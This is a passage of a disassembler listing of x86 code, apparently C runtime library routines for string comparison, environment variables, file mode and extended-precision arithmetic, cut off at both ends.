; ---------------------------------------------------------------------------


loc_42E3BF:				; CODE XREF: sub_42E2C0+F6j
		cmp	esi, edi
		jg	short loc_42E404
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_42F19C	; GetCPInfo
		test	eax, eax
		jz	loc_42E529
		cmp	esi, ebx
		jle	short loc_42E408
		cmp	[ebp+var_3C], 2
		jb	short loc_42E404
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42E404


loc_42E3EA:				; CODE XREF: sub_42E2C0+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42E404
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42E3FE
		cmp	cl, dl
		jbe	short loc_42E3AB


loc_42E3FE:				; CODE XREF: sub_42E2C0+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42E3EA


loc_42E404:				; CODE XREF: sub_42E2C0+101j
					; sub_42E2C0+120j ...
		push	3
		jmp	short loc_42E3AD
; ---------------------------------------------------------------------------


loc_42E408:				; CODE XREF: sub_42E2C0+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_42E43E
		cmp	[ebp+var_3C], 2
		jb	short loc_42E3B8
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42E3B8


loc_42E41B:				; CODE XREF: sub_42E2C0+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42E3B8
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42E433
		cmp	cl, dl
		jbe	loc_42E3AB


loc_42E433:				; CODE XREF: sub_42E2C0+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42E41B
		jmp	loc_42E3B8
; ---------------------------------------------------------------------------


loc_42E43E:				; CODE XREF: sub_42E2C0+E0j
					; sub_42E2C0+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_42F098	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42E529
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_4220C0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42E48D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_42E48D:				; CODE XREF: sub_42E2C0+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42E529
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_42F098
		call	esi ; dword_42F098
		test	eax, eax
		jz	short loc_42E529
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_42F098
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42E529
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_4220C0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42E4F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42E4F8:				; CODE XREF: sub_42E2C0+224j
		cmp	edi, ebx
		jz	short loc_42E529
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_42F098	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42E529
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_42F12C	; CompareStringW
		jmp	short loc_42E52B
; ---------------------------------------------------------------------------


loc_42E529:				; CODE XREF: sub_42E2C0+63j
					; sub_42E2C0+C6j ...
		xor	eax, eax


loc_42E52B:				; CODE XREF: sub_42E2C0+BFj
					; sub_42E2C0+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42E2C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E53D	proc near		; CODE XREF: sub_429BA7+81p
					; sub_42E2C0+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42E55A


loc_42E54D:				; CODE XREF: sub_42E53D+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42E55A
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_42E54D


loc_42E55A:				; CODE XREF: sub_42E53D+Ej
					; sub_42E53D+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42E565
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_42E565:				; CODE XREF: sub_42E53D+21j
		mov	eax, edx
		retn
sub_42E53D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E568	proc near		; CODE XREF: sub_42CEF8+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42E5CC
		push	3Dh
		push	[ebp+arg_0]
		call	sub_42CA33
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42E5CC
		cmp	[ebp+arg_0], esi
		jz	short loc_42E5CC
		mov	eax, dword_631488
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_63148C
		jnz	short loc_42E5B2
		push	eax
		call	sub_42E747
		pop	ecx
		mov	dword_631488, eax


loc_42E5B2:				; CODE XREF: sub_42E568+3Cj
		cmp	eax, edi
		jnz	short loc_42E60A
		cmp	[ebp+arg_4], edi
		jz	short loc_42E5D4
		cmp	dword_631490, edi
		jz	short loc_42E5D4
		call	sub_42CEF8
		test	eax, eax
		jz	short loc_42E60A


loc_42E5CC:				; CODE XREF: sub_42E568+Dj
					; sub_42E568+22j ...
		or	eax, 0FFFFFFFFh


loc_42E5CF:				; CODE XREF: sub_42E568+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42E5D4:				; CODE XREF: sub_42E568+51j
					; sub_42E568+59j
		cmp	ebx, edi
		jnz	loc_42E6E8
		push	4
		call	sub_422F79
		cmp	eax, edi
		pop	ecx
		mov	dword_631488, eax
		jz	short loc_42E5CC
		mov	[eax], edi
		cmp	dword_631490, edi
		jnz	short loc_42E60A
		push	4
		call	sub_422F79
		cmp	eax, edi
		pop	ecx
		mov	dword_631490, eax
		jz	short loc_42E5CC
		mov	[eax], edi


loc_42E60A:				; CODE XREF: sub_42E568+4Cj
					; sub_42E568+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_631488
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_42E6EF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_42E66A
		cmp	dword ptr [edi], 0
		jz	short loc_42E66A
		test	ebx, ebx
		jz	short loc_42E662
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_4230B3
		pop	ecx


loc_42E63C:				; CODE XREF: sub_42E568+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42E64C
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42E63C
; ---------------------------------------------------------------------------


loc_42E64C:				; CODE XREF: sub_42E568+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4285CC
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42E69C
		jmp	short loc_42E697
; ---------------------------------------------------------------------------


loc_42E662:				; CODE XREF: sub_42E568+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_42E69C
; ---------------------------------------------------------------------------


loc_42E66A:				; CODE XREF: sub_42E568+BDj
					; sub_42E568+C2j
		test	ebx, ebx
		jnz	short loc_42E6E8
		test	esi, esi
		jge	short loc_42E674
		neg	esi


loc_42E674:				; CODE XREF: sub_42E568+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4285CC
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42E5CC
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_42E697:				; CODE XREF: sub_42E568+F8j
		mov	dword_631488, eax


loc_42E69C:				; CODE XREF: sub_42E568+F6j
					; sub_42E568+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42E6E8
		push	[ebp+arg_0]
		call	sub_422120
		inc	eax
		inc	eax
		push	eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42E6E8
		push	[ebp+arg_0]
		push	esi
		call	sub_423260
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_42F128	; SetEnvironmentVariableA
		push	esi
		call	sub_4230B3
		pop	ecx


loc_42E6E8:				; CODE XREF: sub_42E568+6Ej
					; sub_42E568+104j ...
		xor	eax, eax
		jmp	loc_42E5CF
sub_42E568	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E6EF	proc near		; CODE XREF: sub_42E568+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_631488
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42E72A
		mov	edi, [esp+8+arg_4]


loc_42E701:				; CODE XREF: sub_42E6EF+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42CEB9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E720
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42E73A
		test	al, al
		jz	short loc_42E73A


loc_42E720:				; CODE XREF: sub_42E6EF+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42E701


loc_42E72A:				; CODE XREF: sub_42E6EF+Cj
		mov	eax, esi
		sub	eax, dword_631488
		sar	eax, 2
		neg	eax


loc_42E737:				; CODE XREF: sub_42E6EF+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E73A:				; CODE XREF: sub_42E6EF+2Bj
					; sub_42E6EF+2Fj
		mov	eax, esi
		sub	eax, dword_631488
		sar	eax, 2
		jmp	short loc_42E737
sub_42E6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42E747	proc near		; CODE XREF: sub_42E568+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_42E756
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42E756:				; CODE XREF: sub_42E747+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_42E768


loc_42E75E:				; CODE XREF: sub_42E747+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_42E75E


loc_42E768:				; CODE XREF: sub_42E747+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_42E789
		push	9
		call	sub_424FCB
		pop	ecx


loc_42E789:				; CODE XREF: sub_42E747+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_42E78D:				; CODE XREF: sub_42E747+5Bj
		test	eax, eax
		jz	short loc_42E7A4
		push	eax
		add	ebx, 4
		call	sub_42EBAE
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_42E78D
; ---------------------------------------------------------------------------


loc_42E7A4:				; CODE XREF: sub_42E747+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42E747	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	loc_42E8AA
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		lea	eax, dword_6314C0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_42E821
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_42E7DC:				; CODE XREF: .text:0042E803j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_42E805
		or	al, al
		jz	short loc_42E805
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_42E7F4
		cmp	ah, bl
		ja	short loc_42E7F4
		add	ah, dh


loc_42E7F4:				; CODE XREF: .text:0042E7ECj
					; .text:0042E7F0j
		cmp	al, bh
		jb	short loc_42E7FE
		cmp	al, bl
		ja	short loc_42E7FE
		add	al, dh


loc_42E7FE:				; CODE XREF: .text:0042E7F6j
					; .text:0042E7FAj
		cmp	ah, al
		jnz	short loc_42E80F
		dec	ecx
		jnz	short loc_42E7DC


loc_42E805:				; CODE XREF: .text:0042E7E2j
					; .text:0042E7E6j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_42E8AA


loc_42E80F:				; CODE XREF: .text:0042E800j
		mov	ecx, 0FFFFFFFFh
		jb	loc_42E8AA
		neg	ecx
		jmp	loc_42E8AA
; ---------------------------------------------------------------------------


loc_42E821:				; CODE XREF: .text:0042E7D1j
		lock inc dword_63198C
		cmp	dword_631988, 0
		jg	short loc_42E835
		push	0
		jmp	short loc_42E84E
; ---------------------------------------------------------------------------


loc_42E835:				; CODE XREF: .text:0042E82Fj
		lock dec dword_63198C
		mov	ebx, ecx
		push	13h
		call	sub_428436
		mov	dword ptr [esp], 1
		mov	ecx, ebx


loc_42E84E:				; CODE XREF: .text:0042E833j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_42E854:				; CODE XREF: .text:0042E87Dj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_42E87F
		or	ebx, ebx
		jz	short loc_42E87F
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_42A7A0
		mov	ebx, eax
		add	esp, 4
		call	sub_42A7A0
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_42E885
		dec	ecx
		jnz	short loc_42E854


loc_42E87F:				; CODE XREF: .text:0042E85Aj
					; .text:0042E85Ej
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_42E88E


loc_42E885:				; CODE XREF: .text:0042E87Aj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_42E88E
		neg	ecx


loc_42E88E:				; CODE XREF: .text:0042E883j
					; .text:0042E88Aj
		pop	eax
		or	eax, eax
		jnz	short loc_42E89C
		lock dec dword_63198C
		jmp	short loc_42E8AA
; ---------------------------------------------------------------------------


loc_42E89C:				; CODE XREF: .text:0042E891j
		mov	ebx, ecx
		push	13h
		call	sub_428497
		add	esp, 4
		mov	ecx, ebx


loc_42E8AA:				; CODE XREF: .text:0042E7BBj
					; .text:0042E809j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42E8B1	proc near		; CODE XREF: sub_42D6D7+68p
					; sub_42D6D7+B9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		lea	eax, [eax+eax*8]
		mov	esi, 8000h
		mov	ecx, dword_6319E0[ecx*4]
		lea	edx, [ecx+eax*4+4]
		mov	cl, [ecx+eax*4+4]
		mov	al, cl
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_42E8E7
		and	cl, 7Fh
		jmp	short loc_42E8F4
; ---------------------------------------------------------------------------


loc_42E8E7:				; CODE XREF: sub_42E8B1+2Fj
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_42E902
		or	cl, 80h


loc_42E8F4:				; CODE XREF: sub_42E8B1+34j
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E902:				; CODE XREF: sub_42E8B1+3Ej
		call	sub_426528
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_42E8B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E912	proc near		; CODE XREF: sub_42E02D+165p
					; sub_42EB32+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_42EB12
		cmp	cx, 7FFFh
		jnb	loc_42EB12
		cmp	dx, 0BFFDh
		ja	loc_42EB12
		cmp	dx, 3FBFh
		ja	short loc_42E97B
		xor	eax, eax
		jmp	short loc_42E9B5
; ---------------------------------------------------------------------------


loc_42E97B:				; CODE XREF: sub_42E912+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_42E99D
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_42E99D
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_42E99F
		cmp	[esi], eax
		jnz	short loc_42E99F
		jmp	loc_42EB0C
; ---------------------------------------------------------------------------


loc_42E99D:				; CODE XREF: sub_42E912+71j
					; sub_42E912+79j
		xor	eax, eax


loc_42E99F:				; CODE XREF: sub_42E912+80j
					; sub_42E912+84j
		cmp	cx, ax
		jnz	short loc_42E9C2
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_42E9C2
		cmp	[ebx+4], eax
		jnz	short loc_42E9C2
		cmp	[ebx], eax
		jnz	short loc_42E9C2


loc_42E9B5:				; CODE XREF: sub_42E912+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_42EB2D
; ---------------------------------------------------------------------------


loc_42E9C2:				; CODE XREF: sub_42E912+90j
					; sub_42E912+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_42E9D2:				; CODE XREF: sub_42E912+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_42EA26
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_42E9EE:				; CODE XREF: sub_42E912+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_42D9BB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42EA19
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_42EA19:				; CODE XREF: sub_42E912+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_42E9EE


loc_42EA26:				; CODE XREF: sub_42E912+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_42E9D2
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_42EA69


loc_42EA44:				; CODE XREF: sub_42E912+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_42EA62
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42DA3A
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_42EA44


loc_42EA62:				; CODE XREF: sub_42E912+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_42EAA2


loc_42EA69:				; CODE XREF: sub_42E912+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_42EAA2
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_42EA82:				; CODE XREF: sub_42E912+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42EA8B
		inc	[ebp+var_14]


loc_42EA8B:				; CODE XREF: sub_42E912+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_42DA68
		dec	ebx
		pop	ecx
		jnz	short loc_42EA82
		cmp	[ebp+var_14], 0
		jz	short loc_42EAA2
		or	byte ptr [ebp+var_24], 1


loc_42EAA2:				; CODE XREF: sub_42E912+155j
					; sub_42E912+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_42EAB9
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42EAEE


loc_42EAB9:				; CODE XREF: sub_42E912+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42EAEB
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_42EAE6
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42EAE0
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42EAEE
; ---------------------------------------------------------------------------


loc_42EAE0:				; CODE XREF: sub_42E912+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42EAEE
; ---------------------------------------------------------------------------


loc_42EAE6:				; CODE XREF: sub_42E912+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42EAEE
; ---------------------------------------------------------------------------


loc_42EAEB:				; CODE XREF: sub_42E912+1ABj
		inc	[ebp+var_24+2]


loc_42EAEE:				; CODE XREF: sub_42E912+1A5j
					; sub_42E912+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_42EB12
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_42EB0C:				; CODE XREF: sub_42E912+86j
		mov	[esi+0Ah], ax
		jmp	short loc_42EB2D
; ---------------------------------------------------------------------------


loc_42EB12:				; CODE XREF: sub_42E912+42j
					; sub_42E912+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_42EB2D:				; CODE XREF: sub_42E912+ABj
					; sub_42E912+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42E912	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EB32	proc near		; CODE XREF: sub_42DB5C+440p
					; sub_42E02D+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_44C230
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42EBAB
		jge	short loc_42EB5A
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_44C390
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_42EB5A:				; CODE XREF: sub_42EB32+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_42EB65
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_42EB65:				; CODE XREF: sub_42EB32+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42EBAB
		push	esi
		push	edi


loc_42EB6C:				; CODE XREF: sub_42EB32+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_42EBA4
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_42EB97
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_42EB97:				; CODE XREF: sub_42EB32+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_42E912
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_42EBA4:				; CODE XREF: sub_42EB32+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_42EB6C
		pop	edi
		pop	esi


loc_42EBAB:				; CODE XREF: sub_42EB32+14j
					; sub_42EB32+36j
		pop	ebx
		leave
		retn
sub_42EB32	endp


; =============== S U B	R O U T	I N E =======================================



sub_42EBAE	proc near		; CODE XREF: sub_41F167+21p
					; sub_42E747+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42EBD5
		push	esi
		call	sub_422120
		inc	eax
		push	eax
		call	sub_422F79
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42EBD5
		push	esi
		push	eax
		call	sub_423260
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EBD5:				; CODE XREF: sub_42EBAE+7j
					; sub_42EBAE+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42EBAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42EBE0	proc near		; CODE XREF: sub_41FD0C+4Ap
		jmp	dword_42F25C
sub_42EBE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42EBE6	proc near		; CODE XREF: sub_41FD0C+33p
		jmp	dword_42F260
sub_42EBE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42EBEC	proc near		; CODE XREF: sub_41FD0C+Fp
		jmp	dword_42F258
sub_42EBEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42EBF2	proc near		; CODE XREF: sub_4236D2+23p
					; sub_423978+13p
		jmp	dword_42F1F4
sub_42EBF2	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC00:				; DATA XREF: sub_40D75Ao
		mov	eax, offset dword_42FD90
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4


loc_42EC0C:				; DATA XREF: .text:0042FDB8o
		lea	ecx, [ebp-24h]
		jmp	sub_40F08A
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		and	eax, 1
		test	eax, eax
		jz	locret_42EC32
		mov	ecx, [ebp+8]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------

locret_42EC32:				; CODE XREF: .text:0042EC24j
		retn
; ---------------------------------------------------------------------------


loc_42EC33:				; DATA XREF: sub_40D810o
		mov	eax, offset dword_42FDC4
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1Ch]
		jmp	sub_40D58A
; ---------------------------------------------------------------------------


loc_42EC48:				; DATA XREF: sub_40DA0Eo
		mov	eax, offset dword_42FDE8
		jmp	loc_423721
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-1Ch]
